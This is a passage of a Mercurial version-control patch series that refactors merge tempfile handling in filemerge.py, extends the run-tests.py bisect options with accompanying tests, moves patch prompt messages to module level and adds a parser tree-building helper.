+        data = repo.wwritedata(ctx.path(), ctx.data())
+        f = os.fdopen(fd, pycompat.sysstr("wb"))
+        f.write(data)
+        f.close()
+        return name
+
+    a = repo.wjoin(fcd.path())
+    b = temp("base", fca)
+    c = temp("other", fco)
+
+    return a, b, c
+
 def _filemerge(premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
     """perform a 3-way merge in the working directory
 
@@ -599,16 +639,6 @@
     Returns whether the merge is complete, the return value of the merge, and
     a boolean indicating whether the file was deleted from disk."""
 
-    def temp(prefix, ctx):
-        fullbase, ext = os.path.splitext(ctx.path())
-        pre = "%s~%s." % (os.path.basename(fullbase), prefix)
-        (fd, name) = tempfile.mkstemp(prefix=pre, suffix=ext)
-        data = repo.wwritedata(ctx.path(), ctx.data())
-        f = os.fdopen(fd, pycompat.sysstr("wb"))
-        f.write(data)
-        f.close()
-        return name
-
     if not fco.cmp(fcd): # files identical?
         return True, None, False
 
@@ -656,17 +686,8 @@
             ui.warn(onfailure % fd)
         return True, 1, False
 
-    a = repo.wjoin(fd)
-    b = temp("base", fca)
-    c = temp("other", fco)
-    if not fcd.isabsent():
-        back = scmutil.origpath(ui, repo, a)
-        if premerge:
-            util.copyfile(a, back)
-    else:
-        back = None
-    files = (a, b, c, back)
-
+    back = _makebackup(repo, ui, fcd, premerge)
+    files = _maketempfiles(repo, fcd, fco, fca) + (back,)
     r = 1
     try:
         markerstyle = ui.config('ui', 'mergemarkers')
@@ -694,8 +715,8 @@
     finally:
         if not r and back is not None:
             util.unlink(back)
-        util.unlink(b)
-        util.unlink(c)
+        util.unlink(files[1])
+        util.unlink(files[2])
 
 def _check(r, ui, tool, fcd, files):
     fd = fcd.path()
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID 67cfffbfb6a0b9c798c8d245091e15aa3025bfa5
# Parent  52bd006b4f49b839d67b57a0fb50f11132a7b796
filemerge: eliminate most uses of tempfiles

Emphasize that they're unused so we can more easily remove them later.

Differential Revision: https://phab.mercurial-scm.org/D399

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -318,7 +318,7 @@
     tool, toolpath, binary, symlink = toolconf
     if symlink or fcd.isabsent() or fco.isabsent():
         return 1
-    a, b, c, back = files
+    unused, unused, unused, back = files
 
     ui = repo.ui
 
@@ -347,7 +347,8 @@
             ui.debug(" premerge successful\n")
             return 0
         if premerge not in validkeep:
-            util.copyfile(back, a) # restore from backup and try again
+            # restore from backup and try again
+            util.copyfile(back, repo.wjoin(fcd.path()))
     return 1 # continue merging
 
 def _mergecheck(repo, mynode, orig, fcd, fco, fca, toolconf):
@@ -368,8 +369,6 @@
     files. It will fail if there are any conflicts and leave markers in
     the partially merged file. Markers will have two sections, one for each side
     of merge, unless mode equals 'union' which suppresses the markers."""
-    a, b, c, back = files
-
     ui = repo.ui
 
     r = simplemerge.simplemerge(ui, fcd, fca, fco,
@@ -424,7 +423,6 @@
     """
     assert localorother is not None
     tool, toolpath, binary, symlink = toolconf
-    a, b, c, back = files
     r = simplemerge.simplemerge(repo.ui, fcd, fca, fco,
                                 label=labels, localorother=localorother,
                                 repo=repo)
@@ -470,7 +468,7 @@
     This implies permerge. Therefore, files aren't dumped, if premerge
     runs successfully. Use :forcedump to forcibly write files out.
     """
-    a, b, c, back = files
+    a, unused, unused, unused = files
 
     fd = fcd.path()
 
@@ -720,7 +718,7 @@
 
 def _check(r, ui, tool, fcd, files):
     fd = fcd.path()
-    a, b, c, back = files
+    a, unused, unused, back = files
 
     if not r and (_toolbool(ui, tool, "checkconflicts") or
                   'conflicts' in _toollist(ui, tool, "check")):
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID d37f1bb681691a789f67d5bd9672830792512122
# Parent  67cfffbfb6a0b9c798c8d245091e15aa3025bfa5
filemerge: move a util copy call to filectx.write

This way a future in-memory-merge context can intercept them.

Differential Revision: https://phab.mercurial-scm.org/D400

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -348,7 +348,9 @@
             return 0
         if premerge not in validkeep:
             # restore from backup and try again
-            util.copyfile(back, repo.wjoin(fcd.path()))
+            # TODO: Add a workingfilectx.write(otherfilectx) path so we can use
+            # util.copy here instead.
+            fcd.write(util.readfile(back), fcd.flags())
     return 1 # continue merging
 
 def _mergecheck(repo, mynode, orig, fcd, fco, fca, toolconf):
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID 7558917f291ea428f335d8bc662b1e653da66bb9
# Parent  d37f1bb681691a789f67d5bd9672830792512122
filemerge: add `_workingpath`

This reduces any reliance on `a`.

Differential Revision: https://phab.mercurial-scm.org/D401

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -470,8 +470,7 @@
     This implies permerge. Therefore, files aren't dumped, if premerge
     runs successfully. Use :forcedump to forcibly write files out.
     """
-    a, unused, unused, unused = files
-
+    a = _workingpath(repo, fcd)
     fd = fcd.path()
 
     util.copyfile(a, a + ".local")
@@ -494,7 +493,8 @@
         repo.ui.warn(_('warning: %s cannot merge change/delete conflict '
                        'for %s\n') % (tool, fcd.path()))
         return False, 1, None
-    a, b, c, back = files
+    unused, b, c, back = files
+    a = _workingpath(repo, fcd)
     out = ""
     env = {'HG_FILE': fcd.path(),
            'HG_MY_NODE': short(mynode),
@@ -597,7 +597,7 @@
     if fcd.isabsent():
         return None
 
-    a = repo.wjoin(fcd.path())
+    a = _workingpath(repo, fcd)
     back = scmutil.origpath(ui, repo, a)
     if premerge:
         util.copyfile(a, back)
@@ -705,7 +705,7 @@
                                      toolconf, files, labels=labels)
 
         if needcheck:
-            r = _check(r, ui, tool, fcd, files)
+            r = _check(repo, r, ui, tool, fcd, files)
 
         if r:
             if onfailure:
@@ -718,9 +718,9 @@
         util.unlink(files[1])
         util.unlink(files[2])
 
-def _check(r, ui, tool, fcd, files):
+def _check(repo, r, ui, tool, fcd, files):
     fd = fcd.path()
-    a, unused, unused, back = files
+    unused, unused, unused, back = files
 
     if not r and (_toolbool(ui, tool, "checkconflicts") or
                   'conflicts' in _toollist(ui, tool, "check")):
@@ -738,17 +738,20 @@
     if not r and not checked and (_toolbool(ui, tool, "checkchanged") or
                                   'changed' in
                                   _toollist(ui, tool, "check")):
-        if back is not None and filecmp.cmp(a, back):
+        if back is not None and filecmp.cmp(_workingpath(repo, fcd), back):
             if ui.promptchoice(_(" output file %s appears unchanged\n"
                                  "was merge successful (yn)?"
                                  "$$ &Yes $$ &No") % fd, 1):
                 r = 1
 
     if back is not None and _toolbool(ui, tool, "fixeol"):
-        _matcheol(a, back)
+        _matcheol(_workingpath(repo, fcd), back)
 
     return r
 
+def _workingpath(repo, ctx):
+    return repo.wjoin(ctx.path())
+
 def premerge(repo, mynode, orig, fcd, fco, fca, labels=None):
     return _filemerge(True, repo, mynode, orig, fcd, fco, fca, labels=labels)
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID 96123bdea43eaeaa292e60f1e3a1a7bcb092c9c7
# Parent  7558917f291ea428f335d8bc662b1e653da66bb9
filemerge: reduce creation of tempfiles until needed

This restricts the creation of temporary files to just `_xmerge`, when we call
an external tool.

Differential Revision: https://phab.mercurial-scm.org/D403

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -493,34 +493,38 @@
         repo.ui.warn(_('warning: %s cannot merge change/delete conflict '
                        'for %s\n') % (tool, fcd.path()))
         return False, 1, None
-    unused, b, c, back = files
+    unused, unused, unused, back = files
     a = _workingpath(repo, fcd)
-    out = ""
-    env = {'HG_FILE': fcd.path(),
-           'HG_MY_NODE': short(mynode),
-           'HG_OTHER_NODE': str(fco.changectx()),
-           'HG_BASE_NODE': str(fca.changectx()),
-           'HG_MY_ISLINK': 'l' in fcd.flags(),
-           'HG_OTHER_ISLINK': 'l' in fco.flags(),
-           'HG_BASE_ISLINK': 'l' in fca.flags(),
-           }
-
-    ui = repo.ui
+    b, c = _maketempfiles(repo, fco, fca)
+    try:
+        out = ""
+        env = {'HG_FILE': fcd.path(),
+               'HG_MY_NODE': short(mynode),
+               'HG_OTHER_NODE': str(fco.changectx()),
+               'HG_BASE_NODE': str(fca.changectx()),
+               'HG_MY_ISLINK': 'l' in fcd.flags(),
+               'HG_OTHER_ISLINK': 'l' in fco.flags(),
+               'HG_BASE_ISLINK': 'l' in fca.flags(),
+               }
+        ui = repo.ui
 
-    args = _toolstr(ui, tool, "args", '$local $base $other')
-    if "$output" in args:
-        out, a = a, back # read input from backup, write to original
-    replace = {'local': a, 'base': b, 'other': c, 'output': out}
-    args = util.interpolate(r'\$', replace, args,
-                            lambda s: util.shellquote(util.localpath(s)))
-    cmd = toolpath + ' ' + args
-    if _toolbool(ui, tool, "gui"):
-        repo.ui.status(_('running merge tool %s for file %s\n') %
-                       (tool, fcd.path()))
-    repo.ui.debug('launching merge tool: %s\n' % cmd)
-    r = ui.system(cmd, cwd=repo.root, environ=env, blockedtag='mergetool')
-    repo.ui.debug('merge tool returned: %s\n' % r)
-    return True, r, False
+        args = _toolstr(ui, tool, "args", '$local $base $other')
+        if "$output" in args:
+            out, a = a, back # read input from backup, write to original
+        replace = {'local': a, 'base': b, 'other': c, 'output': out}
+        args = util.interpolate(r'\$', replace, args,
+                                lambda s: util.shellquote(util.localpath(s)))
+        cmd = toolpath + ' ' + args
+        if _toolbool(ui, tool, "gui"):
+            repo.ui.status(_('running merge tool %s for file %s\n') %
+                           (tool, fcd.path()))
+        repo.ui.debug('launching merge tool: %s\n' % cmd)
+        r = ui.system(cmd, cwd=repo.root, environ=env, blockedtag='mergetool')
+        repo.ui.debug('merge tool returned: %s\n' % r)
+        return True, r, False
+    finally:
+        util.unlink(b)
+        util.unlink(c)
 
 def _formatconflictmarker(repo, ctx, template, label, pad):
     """Applies the given template to the ctx, prefixed by the label.
@@ -603,12 +607,9 @@
         util.copyfile(a, back)
     return back
 
-def _maketempfiles(repo, fcd, fco, fca):
+def _maketempfiles(repo, fco, fca):
     """Writes out `fco` and `fca` as temporary files, so an external merge
     tool may use them.
-
-    `fcd` is returned as-is, by convention, because it currently doubles as both
-    the local version and merge destination.
     """
     def temp(prefix, ctx):
         fullbase, ext = os.path.splitext(ctx.path())
@@ -620,11 +621,10 @@
         f.close()
         return name
 
-    a = repo.wjoin(fcd.path())
     b = temp("base", fca)
     c = temp("other", fco)
 
-    return a, b, c
+    return b, c
 
 def _filemerge(premerge, repo, mynode, orig, fcd, fco, fca, labels=None):
     """perform a 3-way merge in the working directory
@@ -687,7 +687,7 @@
         return True, 1, False
 
     back = _makebackup(repo, ui, fcd, premerge)
-    files = _maketempfiles(repo, fcd, fco, fca) + (back,)
+    files = (None, None, None, back)
     r = 1
     try:
         markerstyle = ui.config('ui', 'mergemarkers')
@@ -715,8 +715,6 @@
     finally:
         if not r and back is not None:
             util.unlink(back)
-        util.unlink(files[1])
-        util.unlink(files[2])
 
 def _check(repo, r, ui, tool, fcd, files):
     fd = fcd.path()
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID fe04c018eaac15ea48f2611f3d07978ba1044126
# Parent  96123bdea43eaeaa292e60f1e3a1a7bcb092c9c7
filemerge: add _restorebackup

Differential Revision: https://phab.mercurial-scm.org/D404

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -348,9 +348,7 @@
             return 0
         if premerge not in validkeep:
             # restore from backup and try again
-            # TODO: Add a workingfilectx.write(otherfilectx) path so we can use
-            # util.copy here instead.
-            fcd.write(util.readfile(back), fcd.flags())
+            _restorebackup(fcd, back)
     return 1 # continue merging
 
 def _mergecheck(repo, mynode, orig, fcd, fco, fca, toolconf):
@@ -590,6 +588,11 @@
         "o": " [%s]" % labels[1],
     }
 
+def _restorebackup(fcd, back):
+    # TODO: Add a workingfilectx.write(otherfilectx) path so we can use
+    # util.copy here instead.
+    fcd.write(util.readfile(back), fcd.flags())
+
 def _makebackup(repo, ui, fcd, premerge):
     """Makes a backup of the local `fcd` file prior to merging.
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504204139 25200
#      Thu Aug 31 11:28:59 2017 -0700
# Node ID 65ae54582713af1f25bfa09c0c079f803923f4e4
# Parent  fe04c018eaac15ea48f2611f3d07978ba1044126
merge: move some of the logic in batchget() to workingfilectx

We will use this logic in two places with in-memory merge.

Differential Revision: https://phab.mercurial-scm.org/D444

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1963,6 +1963,14 @@
         self._repo.wwrite(self._path, data, flags,
                           backgroundclose=backgroundclose)
 
+    def clearunknown(self):
+        """Removes conflicting items in the working directory so that
+        ``write()`` can be called successfully.
+        """
+        wvfs = self._repo.wvfs
+        if wvfs.isdir(self._path) and not wvfs.islink(self._path):
+            wvfs.removedirs(self._path)
+
     def setflags(self, l, x):
         self._repo.wvfs.setflags(self._path, l, x)
 
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1150,9 +1150,7 @@
                 except OSError as e:
                     if e.errno != errno.ENOENT:
                         raise
-
-            if repo.wvfs.isdir(f) and not repo.wvfs.islink(f):
-                repo.wvfs.removedirs(f)
+            wctx[f].clearunknown()
             wctx[f].write(fctx(f).data(), flags, backgroundclose=True)
             if i == 100:
                 yield i, f
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503953005 25200
#      Mon Aug 28 13:43:25 2017 -0700
# Node ID bc2535238de20bd116b04121ddac94614d9e553f
# Parent  65ae54582713af1f25bfa09c0c079f803923f4e4
import-checker: allow relative import a module being checked

This would make the checker more friendly for 3rd-party code. For example,

In remotefilelog/x.py, it may have:

    from . import shallowutils

That could trigger "relative import of stdlib module" if
"remotefilelog" was installed in the system. If the module being checked
conflicts with the system module, it makes sense to not treat that module as
system module. This patch makes it so.

Differential Revision: https://phab.mercurial-scm.org/D552

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -411,7 +411,8 @@
       assign the symbol to a module-level variable. In addition, these imports
       must be performed before other local imports. This rule only
       applies to import statements outside of any blocks.
-    * Relative imports from the standard library are not allowed.
+    * Relative imports from the standard library are not allowed, unless that
+      library is also a local module.
     * Certain modules must be aliased to alternate names to avoid aliasing
       and readability problems. See `requirealias`.
     """
@@ -493,7 +494,10 @@
             # __future__ is special since it needs to come first and use
             # symbol import.
             if fullname != '__future__':
-                if not fullname or fullname in stdlib_modules:
+                if not fullname or (
+                    fullname in stdlib_modules
+                    and fullname not in localmods
+                    and fullname + '.__init__' not in localmods):
                     yield msg('relative import of stdlib module')
                 else:
                     seenlocal = fullname
diff --git a/tests/test-imports-checker.t b/tests/test-imports-checker.t
--- a/tests/test-imports-checker.t
+++ b/tests/test-imports-checker.t
@@ -125,7 +125,19 @@
   > from mercurial.node import hex
   > EOF
 
-  $ $PYTHON "$import_checker" testpackage*/*.py testpackage/subpackage/*.py
+# Shadowing a stdlib module to test "relative import of stdlib module" is
+# allowed if the module is also being checked
+
+  $ mkdir email
+  $ touch email/__init__.py
+  $ touch email/errors.py
+  $ cat > email/utils.py << EOF
+  > from __future__ import absolute_import
+  > from . import errors
+  > EOF
+
+  $ $PYTHON "$import_checker" testpackage*/*.py testpackage/subpackage/*.py \
+  >   email/*.py
   testpackage/importalias.py:2: ui module must be "as" aliased to uimod
   testpackage/importfromalias.py:2: ui from testpackage must be "as" aliased to uimod
   testpackage/importfromrelative.py:2: import should be relative: testpackage.unsorted
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1501732898 25200
#      Wed Aug 02 21:01:38 2017 -0700
# Node ID 72b23c9452d6d719532467443f8b3c97b0cd6314
# Parent  bc2535238de20bd116b04121ddac94614d9e553f
run-tests: pass --with-hg to run-tests.py command used by bisect

This makes `run-tests.py -l test-run-tests.t` 23 seconds faster on my
laptop. Inside the test, `$ rt --known-good-rev=0 test-bisect.t` took 24.9
seconds before, and 1.2 seconds after.

Differential Revision: https://phab.mercurial-scm.org/D576

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2080,9 +2080,14 @@
                     nooutput(['hg', 'bisect', '--bad', '.'])
                     nooutput(['hg', 'bisect', '--good',
                               self._runner.options.known_good_rev])
-                    # TODO: we probably need to forward some options
+                    # TODO: we probably need to forward more options
                     # that alter hg's behavior inside the tests.
-                    rtc = '%s %s %s' % (sys.executable, sys.argv[0], test)
+                    opts = ''
+                    withhg = self._runner.options.with_hg
+                    if withhg:
+                        opts += ' --with-hg=%s ' % shellquote(withhg)
+                    rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
+                                           test)
                     sub = subprocess.Popen(['hg', 'bisect', '--command', rtc],
                                            stderr=subprocess.STDOUT,
                                            stdout=subprocess.PIPE)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1501732898 25200
#      Wed Aug 02 21:01:38 2017 -0700
# Node ID 85bfd6a0bdbfde2a1ba9f346f09a75905271a569
# Parent  72b23c9452d6d719532467443f8b3c97b0cd6314
run-tests: extract prefix of bisect commands to a variable

This does not change any logic.

Differential Revision: https://phab.mercurial-scm.org/D577

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -2070,15 +2070,16 @@
             savetimes(self._runner._outputdir, result)
 
             if failed and self._runner.options.known_good_rev:
+                bisectcmd = ['hg', 'bisect']
                 def nooutput(args):
                     p = subprocess.Popen(args, stderr=subprocess.STDOUT,
                                          stdout=subprocess.PIPE)
                     p.stdout.read()
                     p.wait()
                 for test, msg in result.failures:
-                    nooutput(['hg', 'bisect', '--reset']),
-                    nooutput(['hg', 'bisect', '--bad', '.'])
-                    nooutput(['hg', 'bisect', '--good',
+                    nooutput(bisectcmd + ['--reset']),
+                    nooutput(bisectcmd + ['--bad', '.'])
+                    nooutput(bisectcmd + ['--good',
                               self._runner.options.known_good_rev])
                     # TODO: we probably need to forward more options
                     # that alter hg's behavior inside the tests.
@@ -2088,7 +2089,7 @@
                         opts += ' --with-hg=%s ' % shellquote(withhg)
                     rtc = '%s %s %s %s' % (sys.executable, sys.argv[0], opts,
                                            test)
-                    sub = subprocess.Popen(['hg', 'bisect', '--command', rtc],
+                    sub = subprocess.Popen(bisectcmd + ['--command', rtc],
                                            stderr=subprocess.STDOUT,
                                            stdout=subprocess.PIPE)
                     data = sub.stdout.read()
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1501734269 25200
#      Wed Aug 02 21:24:29 2017 -0700
# Node ID 40313c63da8765578060860da25994c6e314ed84
# Parent  85bfd6a0bdbfde2a1ba9f346f09a75905271a569
run-tests: allow bisecting a different repo

Add `--bisect-repo` flag which accepts a different repo to bisect.

3rd party extensions may reuse `run-tests.py` from core to run tests. Test
failure could be caused by either a core hg change or the 3rd party
extension code itself. Having a way to specify which repo to bisect is
useful.

Differential Revision: https://phab.mercurial-scm.org/D578

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -406,6 +406,10 @@
                       metavar="known_good_rev",
                       help=("Automatically bisect any failures using this "
                             "revision as a known-good revision."))
+    parser.add_option('--bisect-repo', type="string",
+                      metavar='bisect_repo',
+                      help=("Path of a repo to bisect. Use together with "
+                            "--known-good-rev"))
 
     for option, (envvar, default) in defaults.items():
         defaults[option] = type(default)(os.environ.get(envvar, default))
@@ -458,6 +462,9 @@
         sys.stderr.write('warning: --color=always ignored because '
                          'pygments is not installed\n')
 
+    if options.bisect_repo and not options.known_good_rev:
+        parser.error("--bisect-repo cannot be used without --known-good-rev")
+
     global useipv6
     if options.ipv6:
         useipv6 = checksocketfamily('AF_INET6')
@@ -2071,6 +2078,9 @@
 
             if failed and self._runner.options.known_good_rev:
                 bisectcmd = ['hg', 'bisect']
+                bisectrepo = self._runner.options.bisect_repo
+                if bisectrepo:
+                    bisectcmd.extend(['-R', os.path.abspath(bisectrepo)])
                 def nooutput(args):
                     p = subprocess.Popen(args, stderr=subprocess.STDOUT,
                                          stdout=subprocess.PIPE)
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -1285,6 +1285,58 @@
 
   $ cd ..
 
+support bisecting a separate repo
+
+  $ hg init bisect-dependent
+  $ cd bisect-dependent
+  $ cat > test-bisect-dependent.t <<EOF
+  >   $ tail -1 \$TESTDIR/../bisect/test-bisect.t
+  >     pass
+  > EOF
+  $ hg commit -Am dependent test-bisect-dependent.t
+
+  $ rt --known-good-rev=0 test-bisect-dependent.t
+  
+  --- $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t
+  +++ $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t.err
+  @@ -1,2 +1,2 @@
+     $ tail -1 $TESTDIR/../bisect/test-bisect.t
+  -    pass
+  +    fail
+  
+  ERROR: test-bisect-dependent.t output changed
+  !
+  Failed test-bisect-dependent.t: output changed
+  Failed to identify failure point for test-bisect-dependent.t
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
+  $ rt --bisect-repo=../test-bisect test-bisect-dependent.t
+  Usage: run-tests.py [options] [tests]
+  
+  run-tests.py: error: --bisect-repo cannot be used without --known-good-rev
+  [2]
+
+  $ rt --known-good-rev=0 --bisect-repo=../bisect test-bisect-dependent.t
+  
+  --- $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t
+  +++ $TESTTMP/anothertests/bisect-dependent/test-bisect-dependent.t.err
+  @@ -1,2 +1,2 @@
+     $ tail -1 $TESTDIR/../bisect/test-bisect.t
+  -    pass
+  +    fail
+  
+  ERROR: test-bisect-dependent.t output changed
+  !
+  Failed test-bisect-dependent.t: output changed
+  test-bisect-dependent.t broken by 72cbf122d116 (bad)
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
+  $ cd ..
+
 Test a broken #if statement doesn't break run-tests threading.
 ==============================================================
   $ mkdir broken
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1504097354 -19800
#      Wed Aug 30 18:19:14 2017 +0530
# Node ID c0170d88ed2b51bf154306954cb6e61c10970485
# Parent  40313c63da8765578060860da25994c6e314ed84
patch: take messages out of the function so that extensions can add entries

Extensions will want to have interactive thing for more operations or
particulary want to show more verbs. So this patch takes out the message thing
from the function so that extensions can add verbs to this. The curses one is
also not in any function so extensions can add more actions and verbs there.

Differential Revision: https://phab.mercurial-scm.org/D567

diff --git a/mercurial/patch.py b/mercurial/patch.py
--- a/mercurial/patch.py
+++ b/mercurial/patch.py
@@ -996,54 +996,55 @@
     def __repr__(self):
         return '<hunk %r@%d>' % (self.filename(), self.fromline)
 
+messages = {
+    'multiple': {
+        'discard': _("discard change %d/%d to '%s'?"),
+        'record': _("record change %d/%d to '%s'?"),
+        'revert': _("revert change %d/%d to '%s'?"),
+    },
+    'single': {
+        'discard': _("discard this change to '%s'?"),
+        'record': _("record this change to '%s'?"),
+        'revert': _("revert this change to '%s'?"),
+    },
+    'help': {
+        'discard': _('[Ynesfdaq?]'
+                     '$$ &Yes, discard this change'
+                     '$$ &No, skip this change'
+                     '$$ &Edit this change manually'
+                     '$$ &Skip remaining changes to this file'
+                     '$$ Discard remaining changes to this &file'
+                     '$$ &Done, skip remaining changes and files'
+                     '$$ Discard &all changes to all remaining files'
+                     '$$ &Quit, discarding no changes'
+                     '$$ &? (display help)'),
+        'record': _('[Ynesfdaq?]'
+                    '$$ &Yes, record this change'
+                    '$$ &No, skip this change'
+                    '$$ &Edit this change manually'
+                    '$$ &Skip remaining changes to this file'
+                    '$$ Record remaining changes to this &file'
+                    '$$ &Done, skip remaining changes and files'
+                    '$$ Record &all changes to all remaining files'
+                    '$$ &Quit, recording no changes'
+                    '$$ &? (display help)'),
+        'revert': _('[Ynesfdaq?]'
+                    '$$ &Yes, revert this change'
+                    '$$ &No, skip this change'
+                    '$$ &Edit this change manually'
+                    '$$ &Skip remaining changes to this file'
+                    '$$ Revert remaining changes to this &file'
+                    '$$ &Done, skip remaining changes and files'
+                    '$$ Revert &all changes to all remaining files'
+                    '$$ &Quit, reverting no changes'
+                    '$$ &? (display help)')
+    }
+}
+
 def filterpatch(ui, headers, operation=None):
     """Interactively filter patch chunks into applied-only chunks"""
     if operation is None:
         operation = 'record'
-    messages = {
-        'multiple': {
-            'discard': _("discard change %d/%d to '%s'?"),
-            'record': _("record change %d/%d to '%s'?"),
-            'revert': _("revert change %d/%d to '%s'?"),
-        }[operation],
-        'single': {
-            'discard': _("discard this change to '%s'?"),
-            'record': _("record this change to '%s'?"),
-            'revert': _("revert this change to '%s'?"),
-        }[operation],
-        'help': {
-            'discard': _('[Ynesfdaq?]'
-                         '$$ &Yes, discard this change'
-                         '$$ &No, skip this change'
-                         '$$ &Edit this change manually'
-                         '$$ &Skip remaining changes to this file'
-                         '$$ Discard remaining changes to this &file'
-                         '$$ &Done, skip remaining changes and files'
-                         '$$ Discard &all changes to all remaining files'
-                         '$$ &Quit, discarding no changes'
-                         '$$ &? (display help)'),
-            'record': _('[Ynesfdaq?]'
-                        '$$ &Yes, record this change'
-                        '$$ &No, skip this change'
-                        '$$ &Edit this change manually'
-                        '$$ &Skip remaining changes to this file'
-                        '$$ Record remaining changes to this &file'
-                        '$$ &Done, skip remaining changes and files'
-                        '$$ Record &all changes to all remaining files'
-                        '$$ &Quit, recording no changes'
-                        '$$ &? (display help)'),
-            'revert': _('[Ynesfdaq?]'
-                        '$$ &Yes, revert this change'
-                        '$$ &No, skip this change'
-                        '$$ &Edit this change manually'
-                        '$$ &Skip remaining changes to this file'
-                        '$$ Revert remaining changes to this &file'
-                        '$$ &Done, skip remaining changes and files'
-                        '$$ Revert &all changes to all remaining files'
-                        '$$ &Quit, reverting no changes'
-                        '$$ &? (display help)')
-        }[operation]
-    }
 
     def prompt(skipfile, skipall, query, chunk):
         """prompt query, and process base inputs
@@ -1061,7 +1062,7 @@
         if skipfile is not None:
             return skipfile, skipfile, skipall, newpatches
         while True:
-            resps = messages['help']
+            resps = messages['help'][operation]
             r = ui.promptchoice("%s %s" % (query, resps))
             ui.write("\n")
             if r == 8: # ?
@@ -1166,10 +1167,11 @@
             if skipfile is None and skipall is None:
                 chunk.pretty(ui)
             if total == 1:
-                msg = messages['single'] % chunk.filename()
+                msg = messages['single'][operation] % chunk.filename()
             else:
                 idx = pos - len(h.hunks) + i
-                msg = messages['multiple'] % (idx, total, chunk.filename())
+                msg = messages['multiple'][operation] % (idx, total,
+                                                         chunk.filename())
             r, skipfile, skipall, newpatches = prompt(skipfile,
                     skipall, msg, chunk)
             if r:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1455712204 -32400
#      Wed Feb 17 21:30:04 2016 +0900
# Node ID 90896b61fe2653c68062139e8cc06894a96f1764
# Parent  c0170d88ed2b51bf154306954cb6e61c10970485
parser: add helper function that constructs parsed tree from template

This function will be used as follows:

  build('only(_, _)', x, y)

See the next patch for details.

diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -285,6 +285,33 @@
     simplified.append(op)
     return tuple(reversed(simplified))
 
+def _buildtree(template, placeholder, replstack):
+    if template == placeholder:
+        return replstack.pop()
+    if not isinstance(template, tuple):
+        return template
+    return tuple(_buildtree(x, placeholder, replstack) for x in template)
+
+def buildtree(template, placeholder, *repls):
+    """Create new tree by substituting placeholders by replacements
+
+    >>> _ = ('symbol', '_')
+    >>> def f(template, *repls):
+    ...     return buildtree(template, _, *repls)
+    >>> f(('func', ('symbol', 'only'), ('list', _, _)),
+    ...   ('symbol', '1'), ('symbol', '2'))
+    ('func', ('symbol', 'only'), ('list', ('symbol', '1'), ('symbol', '2')))
+    >>> f(('and', _, ('not', _)), ('symbol', '1'), ('symbol', '2'))
+    ('and', ('symbol', '1'), ('not', ('symbol', '2')))
+    """
+    if not isinstance(placeholder, tuple):
+        raise error.ProgrammingError('placeholder must be a node tuple')
+    replstack = list(reversed(repls))
+    r = _buildtree(template, placeholder, replstack)
+    if replstack:
+        raise error.ProgrammingError('too many replacements')
+    return r
+
 def parseerrordetail(inst):
     """Compose error message from specified ParseError object
     """
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1455712705 -32400
#      Wed Feb 17 21:38:25 2016 +0900
# Node ID b862e6fca7ac2bbf59837ae63a97a2b9715002e8
# Parent  90896b61fe2653c68062139e8cc06894a96f1764
revsetlang: build optimized tree by helper function

This should make optimize() more readable, but it doubles the parsing cost.

  (original)
  $ python -m timeit -n10000 -s 'from mercurial import revsetlang as L' \
  'L.optimize(L.analyze(L.parse("::tip")))'
  10000 loops, best of 3: 18.1 usec per loop

  (this patch)
  $ python -m timeit -n10000 -s 'from mercurial import revsetlang as L' \
  'L._treecache.clear(); L.optimize(L.analyze(L.parse("::tip")))'
